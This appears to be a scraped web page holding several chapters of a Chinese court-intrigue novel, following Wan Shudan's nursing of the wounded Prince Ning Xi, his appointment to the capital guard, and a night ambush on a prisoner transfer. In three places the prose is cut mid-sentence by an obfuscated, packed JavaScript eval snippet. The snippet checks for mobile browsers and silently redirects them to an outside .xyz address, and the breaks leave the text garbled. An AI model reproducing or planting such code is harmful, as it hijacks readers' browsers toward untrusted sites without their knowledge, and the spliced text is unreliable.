万姝丹声音阴恻恻地:“我要是公报私仇,你已经是一具尸体了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018341|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宁熙吓了一跳,眼睛里亮晶晶的,“我都这样了,你不会还要欺负我吧?” 万姝丹冷冷地看着他。 “好了好了,别这么看我,我只是疼得厉害。” 一时间安静下来,宁熙心里乱糟糟的,安静对他来说,反而不是一件好事,总是让他想起之前发生的一切。 见万姝丹不说话了,宁熙小心翼翼地问:“你不害怕吗?” 万姝丹说:“不害怕。” 宁熙心下放松,“我还以为你不理我了。” 万姝丹却一直盯着宁熙身上看,看得宁熙有些紧张。 “怎么……怎么了?” 万姝丹仔细看了一看,“好像伤口裂开了。” 她作势就要去解宁熙的已经破破烂烂的衣袍。 “你干……干什么!”宁熙小声叫着。 “别乱动,你伤口崩开了,我得重新止一下血,不然你真的要失血过多了。”万姝丹手上不停。 “不,不用,你别掀,让郎台来!” 万姝丹疑惑地看着他,“你烧糊涂了?” 宁熙烧得头晕,蹙着眉,“什么?我……”而后他意识到了什么,整个人颓败下去,连声音都虚弱了很多,“是……我烧糊涂了……” 万姝丹动手给他重新包扎。 “嘶……你能,你能轻点吗?” “……娇气。” 这句话触动了宁熙的神经,霎时间他的眼眶里就带了泪花,“我确实……之前都过得太顺风顺水了,哪成想……” 万姝丹拉上他破破烂烂的衣袍,一抬头,愣住了,“你哭了?” “才没有,我这是发烧,太难受了。”宁熙心里难过,酸痛难忍,想找个人说说话,虽然万姝丹不是什么好的聊天对象,可他现在只能同她说话,也只有她还能相信了,“你能不能……对我好点?” “……” 万姝丹将这归为生病后的虚弱,虽则她生病时并没有这样,可二哥说过人与人是不同的。 她板着一张脸,伸手摸摸宁熙的头,硬硬地说:“乖。” 宁熙委屈地说:“我好疼啊。” 万姝丹有些惆怅,“要不给你加点止痛的药……” 她声音很轻,宁熙没听太清,“你说什么?” 万姝丹看向他包扎严实的手腕,“你这个手腕,以后要小心一些。” 宁熙听了这话,眼神一下空洞起来。 万姝丹见状,竟有些为刚才那句话后悔,她别扭地转过头,“要不我唱歌给你听?” “你,你还会唱歌啊。” “嗯,我也就唱歌还不错了。” 轻柔的音调从万姝丹口中泄出,她的声音不大,像羽毛一样挠在宁熙的心上,痒痒的。 “你这都没词。” “我记不住。” 她不仅记不住词,调子都不是完整的,只是一个片段一个片段,风格差异很大,上一秒还是温润江南,下一秒就去边寒北地了。 “你听过好多调子啊,羡慕你。”身边还有爱护你的人。 万姝丹吸吸鼻子,“有什么好羡慕我的。” 宁熙的意识开始昏沉,在温暖的音调中缓缓睡去。 万姝丹见他睡着了,也靠在车壁上,闭上了眼睛。 20.金簪(二) 不知过了多久,万姝丹在来人靠近的一瞬间就睁开眼睛,眼神清明,好像她一直没睡着一样。她想了想,还是闭上眼睛。 王兴业掀开车帘时,就看到宁熙躺在后面,脸上潮红,呼吸有些急促,也不知道是睡着了还是晕过去了,小医官就靠在车壁上。 “医官?” 小医官抖了两下,睁开眼,看见他立刻行礼,“郎君……” “下来吃点东西,再去医馆里抓点药熬好给,给郎君服下。” “是。” 万姝丹下来时,就见随行的兵士们四个人一桌在用饭。她小心挑了个不显眼的位置,安安静静吃完饭,假装不经意回头,看了一眼马车,没发现什么异常,就去找医馆了。 她端着一碗黑乎乎的药回来,王兴业为她掀开帘子。万姝丹看了一眼他,就听他说:“照顾好郎君,烧得太厉害了。” 万姝丹乖巧地点点头。她上了车,一手端着药,一手轻轻推他,“醒醒,喂!五哥哥!” 宁熙被她推得皱起眉,艰难睁开双眼,一碗药就怼在他眼前。 “喝药。” 宁熙声音虚弱,“我没力气了……你喂我吧。” 万姝丹将碗沿碰在宁熙唇边,就往里灌。 “噗……咳咳……咳……” 药灌得太快,呛进鼻子里,顺着嘴角流下。 她赶忙用袖子擦擦。 宁熙哀怨地看她一眼。 万姝丹难得觉得不好意思,她笑了一下,“抱歉啊……我,我没怎么照顾过人。” 这次她小心扶着碗,慢慢喂宁熙喝下。他喝得很慢,万姝丹也耐心地一点一点喂。此刻她眉眼称得上温顺,宁熙看着她略带柔情的神色,不由自主喝快了些。 万姝丹这下无师自通,“慢点喝。” 一碗药很快就见了底。 宁熙喝完后撇撇嘴,“好苦。” “你等等,我去给你找点蜜饯。你也得吃点东西,不然会更虚弱的。” 她转身就下了马车。再回来时,手上端着的碗里盛满了水,她将碗放在一旁,从怀里掏出一个小油纸包裹,里面是俩烧饼和一颗蜜饯。她先把蜜饯喂给宁熙,再将烧饼掰成小块,时不时端起碗给他润润嘴。 一顿饭吃完,宁熙脸色缓和了不少,他看万姝丹为自己检查伤势,也不做声。 马车很快行动起来。 宁熙一直躺在马车上,时间久了难免浑身不适。他好像觉得自己的伤口没有那么痛了,正想轻轻挪挪位置。 万姝丹发觉他的动作,按住他,“你要做什么?” 宁熙小声说:“好像不那么疼了,但是一个姿势躺累了。” 万姝丹说:“我在药里加了止痛的,但你不能动,我可以为你揉揉。” 宁熙只拿眼睛看着她,万姝丹疑惑地对上他的目光,宁熙在视线交汇的那一刻移开眼睛,“让你一个小女郎照顾我,好像,好像……” 万姝丹不知道他要说什么,但他似乎在意自己的性别,“没事的,你也可以把我当成小郎君。” 宁熙转过头,“不是的,我不是那个意思,我是说,说……” 万姝丹皱眉,“你到底要说什么?” 宁熙红了红脸,“一般都是贴身侍女或是亲近之人才会做这种。” 万姝丹无所谓地说:“那你把我当成你亲近的人好了。”她说着就要上手。 宁熙又要动,万姝丹眼疾手快按住他,“你到底想怎么样?” 宁熙脸更红了,“你……你……” 见他吞吐个没完,万姝丹没了耐心,一把拍开他的手,小心避开他的伤口,轻轻活泛着僵硬的肌肉,她的力度正好,宁熙觉得酥麻过后是绵软地放松,他又睡了过去。再醒来时,马车里很黑,车轱辘响个不停。他看到一个影子缩在塌旁边,刚要伸手去拍拍她,就被一双手握住了,“你怎么又要动?” 宁熙声音小小的,“我为什么不能动啊。” 万姝丹说:“自然是不能动的,万一伤口再次裂开会很麻烦,你总不想身上留下这么多疤痕吧?” 黑暗里没人说话。万姝丹还以为他烧迷糊了,手沿着他的胳膊摸上去,搭上他的额头,就听见他说:“你说我会活下去吗?” 万姝丹愣住了,她只得摸摸他的额头,安慰道:“你会活下去的。” 宁熙又问:“什么时辰了?” “子时。” 他清了清嗓子,“你要,你要,你躺下来休息一会儿吧?” 万姝丹想说不用的,宁熙抢在她前面说:“陪我睡会儿。” 黑暗里又没人说话了。 宁熙感觉到自己身侧靠过来一个热源,好温暖啊,“你再靠过来点。” “为什么?” “你身上好温暖,我有点儿冷。” “你很冷吗?” “有一点。” 一阵窸窸窣窣的声音,接着宁熙感觉到一层轻柔的布料盖在自己的身上。 万姝丹将自己的外衫脱下,学着二哥为她掖被子的样子,也给宁熙掖了掖,“我没有更厚的衣服了,聊胜于无吧。” 再次醒来时,宁熙先是闻到一股药味,然后看到车厢里亮堂一些。他喝了药,吃了点东西,“我觉得好像没那么烧了。” 万姝丹碰了一下他的额头,简单“嗯”了一声。 “是你自己写的方子吗?还是在镇上找医官抓的药。” 万姝丹有些心虚,她其实根本不会,怀里的药方是四哥写的,还有那些叮嘱,她都强迫自己一一记下。没想到自己一个临时上岗的医官,竟然还真让病人退烧了,也不知道是四哥太厉害,还是自己真有治病天赋。 “不是。”她挠挠自己的脸。 此刻宁熙虽然烧退了,但身上依然绵软,脑子还很昏沉,没过多久他又睡去了。 万姝丹自然是没把自己看做天生当医官的材料,原因无他,傍晚时分,宁熙又复烧了,他双颊通红,嘴唇都烧得红润,睁开的眼睛里含着水光。万姝丹有些头痛,她挠挠头,不清楚为什么还会复烧。她鲜少生病,对于这方面的经历实在是有限,也不清楚这药方需不需要修改。 万姝丹搓搓手,心中有些纠结。算了,四哥没交代,他这么厉害,绝对不会出错的。 她摸摸宁熙的额头,很烫,“你感觉怎么样了?” 那时候万姝丹还不知道一个人生病还有别的因素,譬如心里装着太多的事情,心神过于疲倦。 宁熙迷迷糊糊地说:“我感觉自己在燃烧。” 他又开始做梦了,很多人,走马灯一样一个一个闪过,宁熙谁也抓不住,他越想触碰,那些人就越来越远,他们之间隔着的,不止是单纯的距离,还有生与死。 梦里的宁熙不明白这一点,他拼命地跑,一次又一次伸手去抓,全是空,是一场又一场破碎的空。 可黑暗中的那些人还能怎么破碎呢?宁熙觉得是自己在渐渐破碎,就像是冰裂纹的瓷器,里面还连着,一呼一吸间,能透过开裂的缝隙看见血色,那鲜血却流不出来,分明在他身体里横冲直撞,烧得火热。 黑暗很冷,他能感觉到似有凛冽的寒风,如同刀子一样,沿着缝隙一点一点切割进肉里,那血色更加红艳了,红得发黑,却找不到一个可以倾泻的口子。 他挣扎着,觉得自己已经深陷泥潭,动弹一下就很艰难,想快速移动,只能看着自己慢慢挪动身体,无力感迅速向他席卷而来。 过往的种种,都在向他昭示着,所愿并非所得,自己脚下的这条路,没准哪一天就会毫无预兆地断裂,那些曾经并肩的人,都会因为自己的缘故一一离去。 真的是他的错吗?宁熙问自己,错在哪里了。宁熙不明白,他开始觉得有些恐惧,身子失去了重量,轻飘飘地,好像随便一阵风来,就会被卷携进那洪流之中。 他再次伸出手,一双温暖的手抓住了他,那堵着他难受的东西突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029280|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然倾泻一空,呼吸和心跳渐渐回归正常,身子落在了实地上,熟悉的重量又回来了。 宁熙忽然睁开双眼,昏暗的光线之下,他看见万姝丹正抓着自己的手。 “你醒了,已经快入夜了。” 宁熙呢喃:“发烧好难受啊。”他似乎真是烧得有点不清醒了,用手在万姝丹的掌心里蹭了蹭,“你还没有告诉我你的名字。” 宁熙没有等到回应,又陷入昏睡之中。这一次他觉得自己好像刚闭上眼就醒了,可马车里已经完全没有光亮了。 他轻哼一声,立刻感觉到一片温暖贴上自己的额头。不过显然是自己仍在发烧,反倒衬着那只手有些微凉,贴在自己的脸上很是舒服。 “你可不可以再摸摸我的脸?你的手有些凉凉的,好舒服。” 万姝丹双手捧住他的脸,宁熙长长舒了一口气。 “我能看看外面吗?” “你出不去。” “从车窗那里看就好。” 万姝丹将车窗上的小帘子掀开,宁熙看到一小片夜色,被框住的天空,上面洒满了星星。 “今晚夜色真美。” 万姝丹也从车窗看向外面,月亮的光芒照彻长空。 宁熙的声音很轻,“我以后还能再见到你吗?” 万姝丹也不知道怎么回答这个问题,她偏过头,借着月光,看到宁熙的双眼,他的表情有些哀伤。 那句话在万姝丹的唇边几经辗转,最后还是说:“也许吧。” 宁熙问:“我会当真的。” 万姝丹轻轻“嗯”了一声,手上开始动作起来,她将宁熙身上的绑带松了松。 宁熙只觉得一阵疼痛,他身体里的血液,终于顺着裂隙流了下来。 万姝丹奇道:“你怎么不喊疼了?” 宁熙的声音很轻,“现在我觉得,流一流血也是好的。” 万姝丹抿紧了双唇,“活下去。” 她的声音好像重叠了许多人的声音,让宁熙恍惚了一瞬,直到万姝丹替他重新包扎好,才回过神。 宁熙的声音融入夜色,“你离开的时候可以跟我告别一下吗?” 万姝丹终是没有实现他的这句话。 快到京城时,这行人的行进速度慢了下来。 “怎么复烧了?”王兴业问。 万姝丹随口胡诌:“回郎君,马车一直颠簸,而且得不到很好的治疗与休息,复烧很正常的。” 王兴业说:“罢了,你收拾一下就走吧。” 万姝丹整理好自己的东西就告辞了,彼时宁熙还昏迷着。 她一路没敢耽搁,只用了一半的时间就返回了褚城。 “二哥。” “阿姝回来啦,辛苦了,瞧你这小脸脏的,快先去洗洗。” 万姝丹洗好后,一出来就看见沈济之站在门外,手里拿着一支金簪。 “你说了之后我就给大哥去信了,没想到他这么快就办好了。喏,阿姝,喜欢吗?” “喜欢。更喜欢二哥。”说完就扑向沈济之怀里。 “阿姝大了,二哥抱不动你了。”沈济之摸摸她的头。 “阿姝永远是二哥的阿姝。” 沈济之笑吟吟地说:“你大哥、三哥、四哥听见这话可要不乐意了。” 万姝丹从善如流,“阿姝永远是哥哥们的阿姝!” “女郎还是这么偏心二楼主。”容权从外面走进来。 沈济之抬头,面色平静,“怎么样?” “一切正如二楼主所计划,殿下回京城当天,东宫里的郦妃就受惊小产了,所幸母子平安,皇上知道后龙颜大悦。听说殿下是被抬进紫宸殿的,身上还在往外渗血,皇上见了并未说什么,只是让他安心回府养伤。这几日也未见任何波澜,想来这事儿就算翻篇了。” “嗯,再过几日,就让长公主把景煜送去王府吧,宁熙伤得这么重,右手不利,皇上会给长公主这个面子的。” 21.任命 金水河边绮香阁。 “陛下,臣又输了。” 武帝将棋子扔回棋篓,“子素可是心情不佳?” 柳传恭敬地说:“回陛下,是陛下棋艺高出臣太多。” 武帝哼笑,“你是你们这些人里棋艺最好的一个,别以为朕不知道。” 又一局即将结束的时候,柳传放下了棋子,武帝古怪地笑了一下,“我输了,子素还是要认真下棋才好玩啊。” 柳传低下头,“臣不敢。不是臣棋艺好,臣倒觉得,似乎是陛下心里有所烦闷,反应在外,就是棋路有点滞涩,经常在不该犹豫的地方举棋不定,因此让臣得了便宜,赢了陛下一局。” 武帝哈哈一笑,“子素果然在棋艺上有所造诣,仅从这几局棋中就能看出我心情不好?” 柳传连忙下跪,“是臣斗胆,望陛下见谅。” 武帝摆摆手,“起来起来,这是做什么。我今日是找你下棋散心的。” 柳传闻言起身,坐了回去。 武帝挥手示意苏尚收拾好棋盘,“我记得你家住在永安巷那边?” 柳传略微一笑,“回陛下,是在永安巷。” 武帝“唔”了一声,“城南,子素每日进宫可是要赶不少路。” 柳传声音端得四平八稳,“陛下,永安巷离弦湖近些。臣休沐时就喜欢往那边走走。” 武帝眼中浮现一抹笑,“看样子我这宫里,子素也会喜欢?有金水河,还有济湖。” 柳传忙称不敢,“陛下的宫苑如仙山瀛岛,天下岂有能与之相比之地?” “好啊!”武帝哈哈大笑,“喜欢就好,那我日日传你们进宫就心安理得了。”他话音一转,“城南是个好地方,我也挺喜欢那儿。永安巷又远离闹市,清静自在。” 柳传心知肚明,他顺着话音往下说:“陛下所言极是,就拿昨晚发生的为例,臣在家中半点动静也没听到。还是今早出门后,在小摊用早饭时,才得知那金川楼竟然塌了。” “是啊。”武帝面色变得严肃,“这姚崇峻也不知道怎么当值的,真是岂有此理,朕坐镇京城,竟然还会发生这种事情!” 柳传沉吟,“陛下,水火无情,臣听闻并未出现伤亡,是陛下福泽深厚,这才大事化小,仅仅烧毁一座金川楼,没有造成更大的损失。”他停顿一二,“陛下泽润万民,京城多年来一直相安无事,既无洪涝、也无走水,安逸过度,就容易失了分寸。陛下何不借此机会,着京兆府查访一番,排查隐患。” 武帝哼了一声。 柳传揣摩着添了一句,“当然京兆府人少事多,执金吾本就负责京城巡防,让执金吾陪同,平时再多注重防火,想必陛下就可以高枕无忧了。” 这几句说到了武帝的心思上,他“嗯”了一下,“朕与柳卿所见略同。” 柳传笑了,“陛下谬赞。” 武帝抬抬下巴,眼睛看向小几旁边叠放整齐的奏折,“提起执金吾,你看看你看看,这些人都是怎么说的。” 柳传没有第一时间就拿起奏折。隔了几息后,他小心翼翼拿起最上面的一本,快速翻看,又拿起几本,大致翻了翻,“这些都是弹劾五殿下的,奏折上说殿下办事不利,臣不知……” 武帝说:“还能是什么?就是金川楼那事。” 柳传心下了然,“原来殿下也负责了此事。臣斗胆,陛下或许已经有了决断。” 武帝问:“依你看,这事要如何解决?” 柳传听了这话,当即起身再次跪下,“既然京兆府与五殿下都没能阻止金川楼起火,这责任就不全在殿下身上。依旧例,皇子大婚后都应给个一官半职,然而殿下毕竟没有完成陛下所托,可以再考察考察。” “嗯,起来吧。” 等到柳传离开后,武帝唤道:“苏尚。” “老奴在。” “你挑个时间去趟政事堂,带朕口谕,授宁熙为执金吾左将军。” * 三月初一,午后。 “苏内侍?” 苏尚走入政事堂中,“叶舍人,传皇上口谕,授安王宁熙为执金吾左将军。制书下达次日即领牌到差,不得延误。” 叶钦听罢,神色如常,“遵旨。” “叶舍人,烦劳快些,陛下还等着呢,让虞侍郎一人代签就行。” 叶钦铺开黄麻纸,开始起草,完毕后对苏尚说:“苏内侍稍候。”说罢起身去了隔壁黄门内省找虞今楠。 “敬中啊,正好你来了,看看这个……” “虞公,皇上下来口谕了,您得先签署,苏内侍还等着呢。” “哦?让我看看。嗯……很着急?要我代签?” “是,陛下吩咐让您代签。” 虞今楠签署完毕,交还给叶钦,再递苏尚。 不一会儿苏尚拿着皇上画“可”的制书交给叶钦。 “辛苦苏内侍跑这两趟了。” “都是为皇上办差,哪里会有辛苦呢。” 叶钦再次走进黄门内省。 “敬中,给我来吧。”虞今楠说。 他提笔在黄麻纸上开始誊抄,最后写上“制可”二字,盖上印,交给一旁的传制,“你现在就送去尚书省,告诉他们快点办理。” 下午时,吏部的人就去了安王府。 彼时万姝丹与宁熙正在书房对弈,宁熙得了景煜传来的消息下去一趟,回来时手里拿着黄麻纸,“任命制书下来了,是执金吾左将军。” 万姝丹扫了一眼那张黄麻纸,“看来殿下的心思落空了。” 宁熙莫明,“你觉得我不想被授予官职?” 万姝丹听这话的意思,“难道……那殿下为何要在宫中闹那么一出呢?”她回忆起景煜的话,是了,是她先入为主,以为宁熙不愿拿个官职。但景煜那句话,还有一种解释,“殿下是想打压一下自己的风头?” 宁熙落下一子,“我当时确实是这么想的,大婚之日我风光无限,不压一压难免又要找我麻烦。我其实不能确定此举会不会直接剥夺我的官职,若是没有了,那就日后再图谋。可是,就那么巧,沈济之送上了一个好机会。扈妃的母亲出自汝东裴氏江左房,汝东裴氏又是曾经五望之一。他们在先帝时期立下汗马功劳,及至贞弘年皇上登基后日渐衰落,后来更是遭贬,全部离开了京城。” 万姝丹眼中透出兴奋,“殿下刚刚大婚,皇上就因为冲撞太子罚了殿下。如此举动,完全没有顾忌殿下的脸面,间接抬升了太子,让大家意识到太子在皇上心中仍然占有重要的位置。这样一来,视线就会从殿下身上转移到太子身上。” “现在举子进京,很快就要举行朝谒活动,然后就是春闱。金川楼一事让太子再次暴露出来,皇上难免会以为有人要利用太子妃与裴家之间的事情对太子不利,这就需要提高太子的声望。一旦重心放在太子身上,殿下即使获得一个官职,也就隐身在太子身后了。殿下好谋划。” 宁熙捏着那张黄麻纸,“算是歪打正着了。皇上的心思都快放在明面上了,他那么宠爱皇孙宁衍,可惜岁数太小,而他已暮年。想让宁衍坐上那个位置,太子宁郅就必须登基。不过,我那两位哥哥又岂会无动于衷。”他又将纸上的内容细细看过,唇边勾起意味不明的笑,“然而我怎么可能将本是我的东西拱手让人。” * 次日一早,宁熙按时到了执金吾办事的府院,卢劲已在等候。 “卢将军。” “殿下,这是您的腰牌。”卢劲递上腰牌,他面带严肃,“姚府尹已在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039695|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大堂等候。” 进入大堂,姚崇峻正站在堂中。见到宁熙进来,他上前行礼,“将军,过多的话就不与将军寒暄了。陛下分派下来两件事,第一是要彻查京中商铺的隐患,着执金吾与京兆府协同办理。第二是,今晚要将马三白从京兆府移去御史台。” 宁熙微微一笑,“第一件事紧急,二位已商量出人员分配与巡视路线了吧?就依二位所商。” 日近午时,宁熙与姚崇峻在万钧楼汇合了,这是他们彼此巡视路线上唯一的交点。 宁熙查看着二楼内的设施,不经意间从窗口望去,便顿住了脚步。 “那是?”姚崇峻不知何时也站在了窗边。 宁熙搁下一句,“正是贤夫人。”就往楼下走。 万姝丹从彩云阁出来后,正要询问上锦附近可有什么地方能用午膳,就见宁熙从对面的楼里走了出来,后面还跟着一位身穿官服的人。 她的眼中登时溢出笑意,温温柔柔地看向宁熙,“五郎也在这里?我刚与上锦买了一些绣针与丝线,没想到就遇上了五郎。” 万姝丹带着盈盈笑容,看向宁熙身侧的那人。 姚崇峻连忙就要行礼。 万姝丹拦下了他,“郎君不必,此处人多眼杂,郎君唤我四娘即可。” 宁熙笑得眉梢都舒展开,他的手指轻轻碰了碰万姝丹的衣袖,“夫人可是把我那日的话听进去了?多出门走一走,不要总是闷在家里。” 万姝丹自然而然接过他的话头,“京城繁华地,确实值得一再回顾。我盼五郎得空时,能与我一起走走。” “京城繁华地,四娘可不要在其中迷了眼。”旁边的商铺中走出一人,一身天青色衣袍,他站在众人前,眼含笑意。 万姝丹眉目温情,“多谢郎君提点。” 见他没穿官袍,宁熙直呼其名,“谢悠之,今日有空出来,你们院这么清闲了?” 这谢悠之就是谢青。 谢青朗声一笑,“哪儿能啊,不要说我们院了,就是整个台里,都是人去楼空的状态。” 他向三人微微行礼,“在下还有要事去办,诸位留步。” 望着谢青离去的方向,姚崇峻微微蹙眉,低声说:“这帮鹰犬又不知在调查什么事了。” 宁熙哑然失笑,“谢青还未走远,少平就说这话,也不怕他听见。到时候参上你一本,可别找我来哭诉。” 姚崇峻脸色微变,“是我失礼了,都是为圣上办差,御史们只是手段特殊了点。”他理理自己的袖子,“郎君,四娘,我先走一步。” 宁熙看向万姝丹,“想去哪儿?” 外人都走了,万姝丹脸色淡了下来,“回府吧。” 宁熙将她的神色看在眼里,抿唇道:“顺路,我送送你吧。” 万姝丹边走边问:“姚崇峻以前与御史有过不愉快的事?” “何止不愉快。”宁熙叹气,“御史的择选都是圣上钦定的,他们听命于圣上,会专门查办一些案件。几年以前,有一批私铸的铜钱流入京城,当时京兆府的市令、司仓参军、录事参军、少尹、尹全部下到台狱。” “因为京兆尹得以参议国家大事,所以姚崇峻几乎没受什么刑罚,但他做市令的弟弟就不同了。那次私铸钱案最终如何归案不得而知,不过除了尹和少尹,其他人都死在了台狱里。” 万姝丹扬眉,“我想这些人的死状大约是不可描述的。” 宁熙侧身护了一下万姝丹,防止她被行人撞到,“是啊,所以姚崇峻并没能领回他弟弟的尸体。” 走到一个路口,宁熙就要去查下一家商铺了。 分别时,他突然想起一事,“对了,我今日回府要很晚了。马三白今晚要从京兆府移去御史台,执金吾陪同。” 22.木霆风 是夜。 万姝丹换好夜行衣,在穆离复杂的眼神中灭了几盏灯,然后飘然翻出王府,沿着朱雀大街往皇城方向而去。 到了京兆府,此地距离朱雀门还有两个街口。 今晚多云。 万姝丹隐在树枝间,她方才观察了一下,京兆府侧面还有几个出口,马三白大约会从侧面运出来,然后走朱雀大街直奔皇城。比起旁边的小街巷,朱雀大街视野更加开阔,路线也更短,还有执金吾陪同。想来也无人敢胆大到在此截囚。 万姝丹不认为会有人来截囚,不过,一定会有人来旁观,譬如她。 马三白出来了,他站在囚车中,从侧面的小巷子运了出来。执金吾分列两队守在囚车两侧,宁熙骑着马走在前面,卢劲则骑马走在队尾。 待他们走出一条街,万姝丹左侧五丈远的地方,有一抹黑影闪过,奔着囚车的方向去了。就在那黑影刚离开时,万姝丹身侧的树枝轻颤。 她抬头看向木霆风,遮面的黑布巾上是一双熟悉的眼睛。 木霆风分了万姝丹一个眼神。 二人同时起身,追着黑影而去。 在他们没有注意到的地方,还有一人隐在黑暗之中。他一双鹰眼,见对面的树枝在无风时轻微晃动两下,转身退入小巷。 宁熙坐在马上,他中午时有过犹豫,要不要告诉万姝丹马三白转移这件事。他后来一想,即使他不告诉她,沈济之也会想办法告诉她的。 宁熙猜测今晚一定会出事,然而直到他见到朱雀门,都未听到任何动静。在朱雀门前,宁熙调转马头,看向身后的队伍。 值守的监门卫上前行礼,“将军。” 卢劲策马小跑过来,对着宁熙摇了摇头。 宁熙蹙眉,翻身下马,将手令交给了监门卫。 监门卫看过后,放这一行人通过。 到了御史台的府院,门口亮着盏小灯,谢青正站在门口,见了宁熙,遥遥行礼,“将军。” 宁熙走过来,“今晚是你留值啊。” 谢青淡淡一笑,“这几日都是我。” 囚车停在院门口,院里走出几人,将囚车推了进去。 谢青笑眯眯地说:“辛苦各位走这一趟。” 出了朱雀门,宁熙稍微等了一会儿。卢劲见他没走,也跟着原地站着。 没有御史追出来。 说明马三白还活着。 宁熙摸摸下巴,转头发现卢劲正站在他身侧,奇道:“卢将军还不走吗?” “?”这不是您没走,我哪儿能走啊? 卢劲默默无语一瞬,没有多说什么,上马走了。 宁熙也骑上马,轻夹马腹,任马缓慢走着。 过了一个路口,就见景煜骑马等在路边,一只手笼在袖子里。见了宁熙,景煜将手里所捏的两枚暗器交给了他。 宁熙的眉头锁得更紧了,用眼神询问景煜,景煜摇摇头。 万姝丹还没有回府。 * 两盏茶之前。 万姝丹与木霆风追着那黑影,落在两棵相距两丈的树上,万姝丹在后,木霆风在前。 原以为那黑影要动手,可等了几息也没有动静。 万姝丹正想着自己猜对时,就见街对面不同方向各自发出一枚暗器。她心中一惊,掏出早就准备好的小石子,正要有所动作时。黑影那边也行动了,一根毫针从黑暗中射出,如果不是万姝丹一直警觉着,恐怕她也难以在此等距离上发现那根毫针。 万姝丹夹着石子的手指在空中转了个方向,小石子奔着毫针而去。 木霆风那边也甩出一颗石子。 两颗石子撞在一起,将毫针打落。 囚车的车轮碾过地面的声音、马蹄声、执金吾的脚步声,此起彼伏。 两枚暗器相撞、落在地上的声音隐入其中。 一时间,只有护送囚车的队伍在前进。 万姝丹一直没动。 直到前面那棵树树梢微动,万姝丹脚尖轻点,往回掠去。一路未曾停息,直至落在金川楼所在街口的另外一座楼上。 万姝丹问身侧的木霆风,“前面黑衣人的身份,你有猜测了吗?” 木霆风嗤笑,“你我虽然相识多年,可如今身在京城,立场未定,你确定要这么问我?” 他脸上的这抹笑,与他眉眼间的气质大相径庭。如果说他是竹林间的隐士,那现在就像是隐士误入邪教,沾染了一身邪性,可眼睛里还带着疏疏朗意,就有点不伦不类的。 在万姝丹认识的人里,慕青在君子排行榜上能排第一,那木霆风就能排第二。虽然有时候是惹人烦了些。 万姝丹十二岁初入江湖那年,就碰上了木霆风。那时的万姝丹浑身都是刺,不在沈济之身边时,更是一点就炸。 他俩因为一点口角,万姝丹就要单方面与他比试。木霆风比她年长八岁,万姝丹肯定打不过他。然而在这一番颇像打闹的比试中,却让木霆风发现了她的轻功很好。 于是孽缘就此结下。 万姝丹不是个犟种,她知道打不过木霆风后,就不再尝试,拍拍屁股就要走人。 木霆风却不愿意放她走了,他身后竹声萧萧,“小丫头,我看你轻功不错,咱们不比打架了,就比轻功怎么样?” 万姝丹理都不理他,转身就走。 一管箫横在她身前。 万姝丹用刀挑开。 又拦。 再挑。 继续拦。 万姝丹失了耐心,一刀递过去,照着木霆风的脖子劈下。 木霆风大笑着拉开距离,“小丫头气性好大,我还有事,这次先放过你,下次再来比试。” 万姝丹没把这句话放在心上。然而木霆风总是有办法找到她,即便是易容之后的她,也能准确找到。万姝丹耐不过,二人又打了一架,以万姝丹再次失败收尾。自此之后,万姝丹见了木霆风,就如同见了猫的小耗子,撒腿就跑。 直到万姝丹十七岁那年,在执行任务时不慎被发现,遭到追杀。好巧不巧,就遇上了木霆风。万姝丹毫不心虚地卖了他,却落入陷阱。她以一敌十,血战许久,渐渐体力不支时,木霆风赶到了。 二人退敌后,木霆风背过身说:“小丫头,虽然你卖了我,但你确实很有天赋,我不愿见你死于这些人之手,这才救你一命。然而今日我方看清你的为人,不是我木霆风欣赏的类型。” 话音犹在耳畔,万姝丹撇撇嘴,“你少来,咱俩也算是过命的交情,我还能看错你?” 木霆风怔愣一瞬,朗然大笑,又恢复了熟悉的样子,“小丫头,两年不见,你又长大了些。” 万姝丹正色道:“木霆风,你救我一命,若你不是自愿入这京城之局,我可以帮你。” 木霆风无奈地笑笑,摇摇头。 万姝丹以为他不相信,补充道:“你不信我没事,可若是我与慕青认识呢?” 木霆风猛地抬头,“青城山的慕青?” 他神色复杂起来,却也没有接受万姝丹伸出的援手。 末了,他长叹一声,站得如松如竹,“小丫头,之前你从未答应与我比试轻功。择日不如撞日,趁着夜色要不要比试一二?” 万姝丹想着以木霆风的为人,应当不会把她的身份告知他身后之人。可世事难料,尤其是目前尚不清楚木霆风为何会在京城。小心驶得万年船,万姝丹决定先与他打好交道。 “怎么比?” “京城外西南方向有一块小高地,叫昽原。就比谁先到那里。” 话音方落,二人如同离弦之箭,往南而去。 万姝丹一路飞檐走壁,很快就到了京城西南边的弦湖。她借着夜色翻上角楼,压低身形,趁着守卫换班时刻,跳 